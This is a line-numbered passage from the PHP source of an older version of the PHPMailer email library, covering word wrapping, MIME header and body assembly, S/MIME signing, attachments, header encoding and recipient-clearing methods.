  2231. $line = explode($this->LE, $message);
  2232. $message = '';
  2233. for ($i=0 ;$i < count($line); $i++) {
  2234. $line_part = explode(' ', $line[$i]);
  2235. $buf = '';
  2236. for ($e = 0; $e<count($line_part); $e++) {
  2237. $word = $line_part[$e];
  2238. if ($qp_mode and (strlen($word) > $length)) {
  2239. $space_left = $length - strlen($buf) - 1;
  2240. if ($e != 0) {
  2241. if ($space_left > 20) {
  2242. $len = $space_left;
  2243. if ($is_utf8) {
  2244. $len = $this->UTF8CharBoundary($word, $len);
  2245. } elseif (substr($word, $len - 1, 1) == "=") {
  2246. $len--;
  2247. } elseif (substr($word, $len - 2, 1) == "=") {
  2248. $len -= 2;
  2249. }
  2250. $part = substr($word, 0, $len);
  2251. $word = substr($word, $len);
  2252. $buf .= ' ' . $part;
  2253. $message .= $buf . sprintf("=%s", $this->LE);
  2254. } else {
  2255. $message .= $buf . $soft_break;
  2256. }
  2257. $buf = '';
  2258. }
  2259. while (strlen($word) > 0) {
  2260. $len = $length;
  2261. if ($is_utf8) {
  2262. $len = $this->UTF8CharBoundary($word, $len);
  2263. } elseif (substr($word, $len - 1, 1) == "=") {
  2264. $len--;
  2265. } elseif (substr($word, $len - 2, 1) == "=") {
  2266. $len -= 2;
  2267. }
  2268. $part = substr($word, 0, $len);
  2269. $word = substr($word, $len);
  2270.  
  2271.  
  2272. if (strlen($word) > 0) {
  2273. $message .= $part . sprintf("=%s", $this->LE);
  2274. } else {
  2275. $buf = $part;
  2276. }
  2277. }
  2278. } else {
  2279. $buf_o = $buf;
  2280. $buf .= ($e == 0) ? $word : (' ' . $word);
  2281.  
  2282.  
  2283. if (strlen($buf) > $length and $buf_o != '') {
  2284. $message .= $buf_o . $soft_break;
  2285. $buf = $word;
  2286. }
  2287. }
  2288. }
  2289. $message .= $buf . $this->LE;
  2290. }
  2291.  
  2292.  
  2293. return $message;
  2294. }
  2295.  
  2296.  
  2297. /**
  2298. * Finds last character boundary prior to maxLength in a utf-8
  2299. * quoted (printable) encoded string.
  2300. * Original written by Colin Brown.
  2301. * @access private
  2302. * @param string $encodedText utf-8 QP text
  2303. * @param int $maxLength find last character boundary prior to this length
  2304. * @return int
  2305. */
  2306. function UTF8CharBoundary($encodedText, $maxLength) {
  2307. $foundSplitPos = false;
  2308. $lookBack = 3;
  2309. while (!$foundSplitPos) {
  2310. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2311. $encodedCharPos = strpos($lastChunk, "=");
  2312. if ($encodedCharPos !== false) {
  2313. // Found start of encoded character byte within $lookBack block.
  2314. // Check the encoded byte value (the 2 chars after the '=')
  2315. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2316. $dec = hexdec($hex);
  2317. if ($dec < 128) { // Single byte character.
  2318. // If the encoded char was found at pos 0, it will fit
  2319. // otherwise reduce maxLength to start of the encoded char
  2320. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2321. $maxLength - ($lookBack - $encodedCharPos);
  2322. $foundSplitPos = true;
  2323. } elseif ($dec >= 192) { // First byte of a multi byte character
  2324. // Reduce maxLength to split at start of character
  2325. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2326. $foundSplitPos = true;
  2327. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2328. $lookBack += 3;
  2329. }
  2330. } else {
  2331. // No encoded character found
  2332. $foundSplitPos = true;
  2333. }
  2334. }
  2335. return $maxLength;
  2336. }
  2337.  
  2338.  
  2339. /**
  2340. * Set the body wrapping.
  2341. * @access private
  2342. * @return void
  2343. */
  2344. function SetWordWrap() {
  2345. if($this->WordWrap < 1) {
  2346. return;
  2347. }
  2348.  
  2349.  
  2350. switch($this->message_type) {
  2351. case 'alt':
  2352. /* fall through */
  2353. case 'alt_attachments':
  2354. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2355. break;
  2356. default:
  2357. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2358. break;
  2359. }
  2360. }
  2361.  
  2362.  
  2363. /**
  2364. * Assembles message header.
  2365. * @access private
  2366. * @return string
  2367. */
  2368. function CreateHeader() {
  2369. $result = '';
  2370.  
  2371.  
  2372. /* Set the boundaries */
  2373. $uniq_id = md5(uniqid(time()));
  2374. $this->boundary[1] = 'b1_' . $uniq_id;
  2375. $this->boundary[2] = 'b2_' . $uniq_id;
  2376.  
  2377.  
  2378. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2379. if($this->Sender == '') {
  2380. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2381. } else {
  2382. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2383. }
  2384.  
  2385.  
  2386. /* To be created automatically by mail() */
  2387. if($this->Mailer != 'mail') {
  2388. if(count($this->to) > 0) {
  2389. $result .= $this->AddrAppend('To', $this->to);
  2390. } elseif (count($this->cc) == 0) {
  2391. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2392. }
  2393. if(count($this->cc) > 0) {
  2394. $result .= $this->AddrAppend('Cc', $this->cc);
  2395. }
  2396. }
  2397.  
  2398.  
  2399. $from = array();
  2400. $from[0][0] = trim($this->From);
  2401. $from[0][1] = $this->FromName;
  2402. $result .= $this->AddrAppend('From', $from);
  2403.  
  2404.  
  2405. /* sendmail and mail() extract Cc from the header before sending */
  2406. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2407. $result .= $this->AddrAppend('Cc', $this->cc);
  2408. }
  2409.  
  2410.  
  2411. /* sendmail and mail() extract Bcc from the header before sending */
  2412. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2413. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2414. }
  2415.  
  2416.  
  2417. if(count($this->ReplyTo) > 0) {
  2418. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2419. }
  2420.  
  2421.  
  2422. /* mail() sets the subject itself */
  2423. if($this->Mailer != 'mail') {
  2424. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2425. }
  2426.  
  2427.  
  2428. if($this->MessageID != '') {
  2429. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2430. } else {
  2431. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2432. }
  2433. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2434. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2435.  
  2436.  
  2437. if($this->ConfirmReadingTo != '') {
  2438. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2439. }
  2440.  
  2441.  
  2442. // Add custom headers
  2443. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2444. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2445. }
  2446. if (!$this->sign_key_file) {
  2447. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2448. $result .= $this->GetMailMIME();
  2449. }
  2450.  
  2451.  
  2452. return $result;
  2453. }
  2454.  
  2455.  
  2456. /**
  2457. * Returns the message MIME.
  2458. * @access private
  2459. * @return string
  2460. */
  2461. function GetMailMIME() {
  2462. $result = '';
  2463. switch($this->message_type) {
  2464. case 'plain':
  2465. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2466. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2467. break;
  2468. case 'attachments':
  2469. /* fall through */
  2470. case 'alt_attachments':
  2471. if($this->InlineImageExists()){
  2472. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2473. } else {
  2474. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2475. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2476. }
  2477. break;
  2478. case 'alt':
  2479. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2480. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2481. break;
  2482. }
  2483.  
  2484.  
  2485. if($this->Mailer != 'mail') {
  2486. $result .= $this->LE.$this->LE;
  2487. }
  2488.  
  2489.  
  2490. return $result;
  2491. }
  2492.  
  2493.  
  2494. /**
  2495. * Assembles the message body. Returns an empty string on failure.
  2496. * @access private
  2497. * @return string
  2498. */
  2499. function CreateBody() {
  2500. $result = '';
  2501. if ($this->sign_key_file) {
  2502. $result .= $this->GetMailMIME();
  2503. }
  2504.  
  2505.  
  2506. $this->SetWordWrap();
  2507.  
  2508.  
  2509. switch($this->message_type) {
  2510. case 'alt':
  2511. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2512. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2513. $result .= $this->LE.$this->LE;
  2514. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2515. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2516. $result .= $this->LE.$this->LE;
  2517. $result .= $this->EndBoundary($this->boundary[1]);
  2518. break;
  2519. case 'plain':
  2520. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2521. break;
  2522. case 'attachments':
  2523. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2524. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2525. $result .= $this->LE;
  2526. $result .= $this->AttachAll();
  2527. break;
  2528. case 'alt_attachments':
  2529. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2530. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2531. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2532. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2533. $result .= $this->LE.$this->LE;
  2534. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2535. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2536. $result .= $this->LE.$this->LE;
  2537. $result .= $this->EndBoundary($this->boundary[2]);
  2538. $result .= $this->AttachAll();
  2539. break;
  2540. }
  2541.  
  2542.  
  2543. if($this->IsError()) {
  2544. $result = '';
  2545. } else if ($this->sign_key_file) {
  2546. $file = tempnam("", "mail");
  2547. $fp = fopen($file, "w");
  2548. fwrite($fp, $result);
  2549. fclose($fp);
  2550. $signed = tempnam("", "signed");
  2551.  
  2552.  
  2553. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2554. $fp = fopen($signed, "r");
  2555. $result = fread($fp, filesize($this->sign_key_file));
  2556. fclose($fp);
  2557. } else {
  2558. $this->SetError($this->Lang("signing").openssl_error_string());
  2559. $result = '';
  2560. }
  2561.  
  2562.  
  2563. unlink($file);
  2564. unlink($signed);
  2565. }
  2566.  
  2567.  
  2568. return $result;
  2569. }
  2570.  
  2571.  
  2572. /**
  2573. * Returns the start of a message boundary.
  2574. * @access private
  2575. */
  2576. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2577. $result = '';
  2578. if($charSet == '') {
  2579. $charSet = $this->CharSet;
  2580. }
  2581. if($contentType == '') {
  2582. $contentType = $this->ContentType;
  2583. }
  2584. if($encoding == '') {
  2585. $encoding = $this->Encoding;
  2586. }
  2587. $result .= $this->TextLine('--' . $boundary);
  2588. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2589. $result .= $this->LE;
  2590. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2591. $result .= $this->LE;
  2592.  
  2593.  
  2594. return $result;
  2595. }
  2596.  
  2597.  
  2598. /**
  2599. * Returns the end of a message boundary.
  2600. * @access private
  2601. */
  2602. function EndBoundary($boundary) {
  2603. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2604. }
  2605.  
  2606.  
  2607. /**
  2608. * Sets the message type.
  2609. * @access private
  2610. * @return void
  2611. */
  2612. function SetMessageType() {
  2613. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2614. $this->message_type = 'plain';
  2615. } else {
  2616. if(count($this->attachment) > 0) {
  2617. $this->message_type = 'attachments';
  2618. }
  2619. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2620. $this->message_type = 'alt';
  2621. }
  2622. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2623. $this->message_type = 'alt_attachments';
  2624. }
  2625. }
  2626. }
  2627.  
  2628.  
  2629. /* Returns a formatted header line.
  2630. * @access private
  2631. * @return string
  2632. */
  2633. function HeaderLine($name, $value) {
  2634. return $name . ': ' . $value . $this->LE;
  2635. }
  2636.  
  2637.  
  2638. /**
  2639. * Returns a formatted mail line.
  2640. * @access private
  2641. * @return string
  2642. */
  2643. function TextLine($value) {
  2644. return $value . $this->LE;
  2645. }
  2646.  
  2647.  
  2648. /////////////////////////////////////////////////
  2649. // CLASS METHODS, ATTACHMENTS
  2650. /////////////////////////////////////////////////
  2651.  
  2652.  
  2653. /**
  2654. * Adds an attachment from a path on the filesystem.
  2655. * Returns false if the file could not be found
  2656. * or accessed.
  2657. * @param string $path Path to the attachment.
  2658. * @param string $name Overrides the attachment name.
  2659. * @param string $encoding File encoding (see $Encoding).
  2660. * @param string $type File extension (MIME) type.
  2661. * @return bool
  2662. */
  2663. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2664. if(!@is_file($path)) {
  2665. $this->SetError($this->Lang('file_access') . $path);
  2666. return false;
  2667. }
  2668.  
  2669.  
  2670. $filename = basename($path);
  2671. if($name == '') {
  2672. $name = $filename;
  2673. }
  2674.  
  2675.  
  2676. $cur = count($this->attachment);
  2677. $this->attachment[$cur][0] = $path;
  2678. $this->attachment[$cur][1] = $filename;
  2679. $this->attachment[$cur][2] = $name;
  2680. $this->attachment[$cur][3] = $encoding;
  2681. $this->attachment[$cur][4] = $type;
  2682. $this->attachment[$cur][5] = false; // isStringAttachment
  2683. $this->attachment[$cur][6] = 'attachment';
  2684. $this->attachment[$cur][7] = 0;
  2685.  
  2686.  
  2687. return true;
  2688. }
  2689.  
  2690.  
  2691. /**
  2692. * Attaches all fs, string, and binary attachments to the message.
  2693. * Returns an empty string on failure.
  2694. * @access private
  2695. * @return string
  2696. */
  2697. function AttachAll() {
  2698. /* Return text of body */
  2699. $mime = array();
  2700.  
  2701.  
  2702. /* Add all attachments */
  2703. for($i = 0; $i < count($this->attachment); $i++) {
  2704. /* Check for string attachment */
  2705. $bString = $this->attachment[$i][5];
  2706. if ($bString) {
  2707. $string = $this->attachment[$i][0];
  2708. } else {
  2709. $path = $this->attachment[$i][0];
  2710. }
  2711.  
  2712.  
  2713. $filename = $this->attachment[$i][1];
  2714. $name = $this->attachment[$i][2];
  2715. $encoding = $this->attachment[$i][3];
  2716. $type = $this->attachment[$i][4];
  2717. $disposition = $this->attachment[$i][6];
  2718. $cid = $this->attachment[$i][7];
  2719.  
  2720.  
  2721. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2722. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2723. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2724.  
  2725.  
  2726. if($disposition == 'inline') {
  2727. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2728. }
  2729.  
  2730.  
  2731. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2732.  
  2733.  
  2734. /* Encode as string attachment */
  2735. if($bString) {
  2736. $mime[] = $this->EncodeString($string, $encoding);
  2737. if($this->IsError()) {
  2738. return '';
  2739. }
  2740. $mime[] = $this->LE.$this->LE;
  2741. } else {
  2742. $mime[] = $this->EncodeFile($path, $encoding);
  2743. if($this->IsError()) {
  2744. return '';
  2745. }
  2746. $mime[] = $this->LE.$this->LE;
  2747. }
  2748. }
  2749.  
  2750.  
  2751. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2752.  
  2753.  
  2754. return join('', $mime);
  2755. }
  2756.  
  2757.  
  2758. /**
  2759. * Encodes attachment in requested format. Returns an
  2760. * empty string on failure.
  2761. * @access private
  2762. * @return string
  2763. */
  2764. function EncodeFile ($path, $encoding = 'base64') {
  2765. if(!@$fd = fopen($path, 'rb')) {
  2766. $this->SetError($this->Lang('file_open') . $path);
  2767. return '';
  2768. }
  2769. $magic_quotes = get_magic_quotes_runtime();
  2770. set_magic_quotes_runtime(0);
  2771. $file_buffer = fread($fd, filesize($path));
  2772. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2773. fclose($fd);
  2774. set_magic_quotes_runtime($magic_quotes);
  2775.  
  2776.  
  2777. return $file_buffer;
  2778. }
  2779.  
  2780.  
  2781. /**
  2782. * Encodes string to requested format. Returns an
  2783. * empty string on failure.
  2784. * @access private
  2785. * @return string
  2786. */
  2787. function EncodeString ($str, $encoding = 'base64') {
  2788. $encoded = '';
  2789. switch(strtolower($encoding)) {
  2790. case 'base64':
  2791. /* chunk_split is found in PHP >= 3.0.6 */
  2792. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2793. break;
  2794. case '7bit':
  2795. case '8bit':
  2796. $encoded = $this->FixEOL($str);
  2797. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2798. $encoded .= $this->LE;
  2799. break;
  2800. case 'binary':
  2801. $encoded = $str;
  2802. break;
  2803. case 'quoted-printable':
  2804. $encoded = $this->EncodeQP($str);
  2805. break;
  2806. default:
  2807. $this->SetError($this->Lang('encoding') . $encoding);
  2808. break;
  2809. }
  2810. return $encoded;
  2811. }
  2812.  
  2813.  
  2814. /**
  2815. * Encode a header string to best of Q, B, quoted or none.
  2816. * @access private
  2817. * @return string
  2818. */
  2819. function EncodeHeader ($str, $position = 'text') {
  2820. $x = 0;
  2821.  
  2822.  
  2823. switch (strtolower($position)) {
  2824. case 'phrase':
  2825. if (!preg_match('/[\200-\377]/', $str)) {
  2826. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2827. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2828. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2829. return ($encoded);
  2830. } else {
  2831. return ("\"$encoded\"");
  2832. }
  2833. }
  2834. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2835. break;
  2836. case 'comment':
  2837. $x = preg_match_all('/[()"]/', $str, $matches);
  2838. /* Fall-through */
  2839. case 'text':
  2840. default:
  2841. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2842. break;
  2843. }
  2844.  
  2845.  
  2846. if ($x == 0) {
  2847. return ($str);
  2848. }
  2849.  
  2850.  
  2851. $maxlen = 75 - 7 - strlen($this->CharSet);
  2852. /* Try to select the encoding which should produce the shortest output */
  2853. if (strlen($str)/3 < $x) {
  2854. $encoding = 'B';
  2855. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2856. // Use a custom function which correctly encodes and wraps long
  2857. // multibyte strings without breaking lines within a character
  2858. $encoded = $this->Base64EncodeWrapMB($str);
  2859. } else {
  2860. $encoded = base64_encode($str);
  2861. $maxlen -= $maxlen % 4;
  2862. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2863. }
  2864. } else {
  2865. $encoding = 'Q';
  2866. $encoded = $this->EncodeQ($str, $position);
  2867. $encoded = $this->WrapText($encoded, $maxlen, true);
  2868. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2869. }
  2870.  
  2871.  
  2872. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2873. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2874.  
  2875.  
  2876. return $encoded;
  2877. }
  2878.  
  2879.  
  2880. /**
  2881. * Checks if a string contains multibyte characters.
  2882. * @access private
  2883. * @param string $str multi-byte text to wrap encode
  2884. * @return bool
  2885. */
  2886. function HasMultiBytes($str) {
  2887. if (function_exists('mb_strlen')) {
  2888. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2889. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2890. return False;
  2891. }
  2892. }
  2893.  
  2894.  
  2895. /**
  2896. * Correctly encodes and wraps long multibyte strings for mail headers
  2897. * without breaking lines within a character.
  2898. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2899. * @access private
  2900. * @param string $str multi-byte text to wrap encode
  2901. * @return string
  2902. */
  2903. function Base64EncodeWrapMB($str) {
  2904. $start = "=?".$this->CharSet."?B?";
  2905. $end = "?=";
  2906. $encoded = "";
  2907.  
  2908.  
  2909. $mb_length = mb_strlen($str, $this->CharSet);
  2910. // Each line must have length <= 75, including $start and $end
  2911. $length = 75 - strlen($start) - strlen($end);
  2912. // Average multi-byte ratio
  2913. $ratio = $mb_length / strlen($str);
  2914. // Base64 has a 4:3 ratio
  2915. $offset = $avgLength = floor($length * $ratio * .75);
  2916.  
  2917.  
  2918. for ($i = 0; $i < $mb_length; $i += $offset) {
  2919. $lookBack = 0;
  2920.  
  2921.  
  2922. do {
  2923. $offset = $avgLength - $lookBack;
  2924. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2925. $chunk = base64_encode($chunk);
  2926. $lookBack++;
  2927. }
  2928. while (strlen($chunk) > $length);
  2929.  
  2930.  
  2931. $encoded .= $chunk . $this->LE;
  2932. }
  2933.  
  2934.  
  2935. // Chomp the last linefeed
  2936. $encoded = substr($encoded, 0, -strlen($this->LE));
  2937. return $encoded;
  2938. }
  2939.  
  2940.  
  2941. /**
  2942. * Encode string to quoted-printable.
  2943. * @access private
  2944. * @return string
  2945. */
  2946. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2947. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2948. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2949. $eol = "\r\n";
  2950. $escape = '=';
  2951. $output = '';
  2952. while( list(, $line) = each($lines) ) {
  2953. $linlen = strlen($line);
  2954. $newline = '';
  2955. for($i = 0; $i < $linlen; $i++) {
  2956. $c = substr( $line, $i, 1 );
  2957. $dec = ord( $c );
  2958. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2959. $c = '=2E';
  2960. }
  2961. if ( $dec == 32 ) {
  2962. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2963. $c = '=20';
  2964. } else if ( $space_conv ) {
  2965. $c = '=20';
  2966. }
  2967. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2968. $h2 = floor($dec/16);
  2969. $h1 = floor($dec%16);
  2970. $c = $escape.$hex[$h2].$hex[$h1];
  2971. }
  2972. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2973. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2974. $newline = '';
  2975. // check if newline first character will be point or not
  2976. if ( $dec == 46 ) {
  2977. $c = '=2E';
  2978. }
  2979. }
  2980. $newline .= $c;
  2981. } // end of for
  2982. $output .= $newline.$eol;
  2983. } // end of while
  2984. return trim($output);
  2985. }
  2986.  
  2987.  
  2988. /**
  2989. * Encode string to q encoding.
  2990. * @access private
  2991. * @return string
  2992. */
  2993. function EncodeQ ($str, $position = 'text') {
  2994. /* There should not be any EOL in the string */
  2995. $encoded = preg_replace("[\r\n]", '', $str);
  2996.  
  2997.  
  2998. switch (strtolower($position)) {
  2999. case 'phrase':
  3000. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  3001. break;
  3002. case 'comment':
  3003. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  3004. case 'text':
  3005. default:
  3006. /* Replace every high ascii, control =, ? and _ characters */
  3007. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  3008. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  3009. break;
  3010. }
  3011.  
  3012.  
  3013. /* Replace every spaces to _ (more readable than =20) */
  3014. $encoded = str_replace(' ', '_', $encoded);
  3015.  
  3016.  
  3017. return $encoded;
  3018. }
  3019.  
  3020.  
  3021. /**
  3022. * Adds a string or binary attachment (non-filesystem) to the list.
  3023. * This method can be used to attach ascii or binary data,
  3024. * such as a BLOB record from a database.
  3025. * @param string $string String attachment data.
  3026. * @param string $filename Name of the attachment.
  3027. * @param string $encoding File encoding (see $Encoding).
  3028. * @param string $type File extension (MIME) type.
  3029. * @return void
  3030. */
  3031. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  3032. /* Append to $attachment array */
  3033. $cur = count($this->attachment);
  3034. $this->attachment[$cur][0] = $string;
  3035. $this->attachment[$cur][1] = $filename;
  3036. $this->attachment[$cur][2] = $filename;
  3037. $this->attachment[$cur][3] = $encoding;
  3038. $this->attachment[$cur][4] = $type;
  3039. $this->attachment[$cur][5] = true; // isString
  3040. $this->attachment[$cur][6] = 'attachment';
  3041. $this->attachment[$cur][7] = 0;
  3042. }
  3043.  
  3044.  
  3045. /**
  3046. * Adds an embedded attachment. This can include images, sounds, and
  3047. * just about any other document. Make sure to set the $type to an
  3048. * image type. For JPEG images use "image/jpeg" and for GIF images
  3049. * use "image/gif".
  3050. * @param string $path Path to the attachment.
  3051. * @param string $cid Content ID of the attachment. Use this to identify
  3052. * the Id for accessing the image in an HTML form.
  3053. * @param string $name Overrides the attachment name.
  3054. * @param string $encoding File encoding (see $Encoding).
  3055. * @param string $type File extension (MIME) type.
  3056. * @return bool
  3057. */
  3058. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  3059.  
  3060.  
  3061. if(!@is_file($path)) {
  3062. $this->SetError($this->Lang('file_access') . $path);
  3063. return false;
  3064. }
  3065.  
  3066.  
  3067. $filename = basename($path);
  3068. if($name == '') {
  3069. $name = $filename;
  3070. }
  3071.  
  3072.  
  3073. /* Append to $attachment array */
  3074. $cur = count($this->attachment);
  3075. $this->attachment[$cur][0] = $path;
  3076. $this->attachment[$cur][1] = $filename;
  3077. $this->attachment[$cur][2] = $name;
  3078. $this->attachment[$cur][3] = $encoding;
  3079. $this->attachment[$cur][4] = $type;
  3080. $this->attachment[$cur][5] = false;
  3081. $this->attachment[$cur][6] = 'inline';
  3082. $this->attachment[$cur][7] = $cid;
  3083.  
  3084.  
  3085. return true;
  3086. }
  3087.  
  3088.  
  3089. /**
  3090. * Returns true if an inline attachment is present.
  3091. * @access private
  3092. * @return bool
  3093. */
  3094. function InlineImageExists() {
  3095. $result = false;
  3096. for($i = 0; $i < count($this->attachment); $i++) {
  3097. if($this->attachment[$i][6] == 'inline') {
  3098. $result = true;
  3099. break;
  3100. }
  3101. }
  3102.  
  3103.  
  3104. return $result;
  3105. }
  3106.  
  3107.  
  3108. /////////////////////////////////////////////////
  3109. // CLASS METHODS, MESSAGE RESET
  3110. /////////////////////////////////////////////////
  3111.  
  3112.  
  3113. /**
  3114. * Clears all recipients assigned in the TO array. Returns void.
  3115. * @return void
  3116. */
  3117. function ClearAddresses() {
  3118. $this->to = array();
  3119. }
  3120.  
  3121.  
  3122. /**
  3123. * Clears all recipients assigned in the CC array. Returns void.
  3124. * @return void
  3125. */
  3126. function ClearCCs() {
  3127. $this->cc = array();
  3128. }
  3129.  
  3130.  
  3131. /**
  3132. * Clears all recipients assigned in the BCC array. Returns void.
  3133. * @return void
  3134. */
  3135. function ClearBCCs() {
  3136. $this->bcc = array();
  3137. }
  3138.  
  3139.  
  3140. /**
  3141. * Clears all recipients assigned in the ReplyTo array. Returns void.
  3142. * @return void
  3143. */
  3144. function ClearReplyTos() {
  3145. $this->ReplyTo = array();
  3146. }
  3147.  
  3148.  
  3149. /**
  3150. * Clears all recipients assigned in the TO, CC and BCC
  3151. * array. Returns void.
  3152. * @return void
  3153. */
  3154. function ClearAllRecipients() {
  3155. $this->to = array();
  3156. $this->cc = array();
  3157. $this->bcc = array();
  3158. }
  3159.  
  3160.  
  3161. /**
  3162. * Clears all previously set filesystem, string, and binary
  3163. * attachments. Returns void.
  3164. * @return void
  3165. */
  3166. function ClearAttachments() {
  3167. $this->attachment = array();
  3168. }
  3169.  
  3170.  
  3171. /**
  3172. * Clears all custom headers. Returns void.
  3173. * @return void
  3174. */
  3175. function ClearCustomHeaders() {
  3176. $this->CustomHeader = array();
  3177. }
  3178.  
  3179.  
  3180. /////////////////////////////////////////////////
  3181. // CLASS METHODS, MISCELLANEOUS
  3182. /////////////////////////////////////////////////
  3183.  
  3184.  
  3185. /**
  3186. * Adds the error message to the error container.
  3187. * Returns void.
  3188. * @access private
  3189. * @return void
  3190. */
  3191. function SetError($msg) {
  3192. $this->error_count++;
  3193. $this->ErrorInfo = $msg;
  3194. }
  3195.  
  3196.  
  3197. /**
  3198. * Returns the proper RFC 822 formatted date.
  3199. * @access private
  3200. * @return string
  3201. */
  3202. function RFCDate() {
  3203. $tz = date('Z');
  3204. $tzs = ($tz < 0) ? '-' : '+';
  3205. $tz = abs($tz);
  3206. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
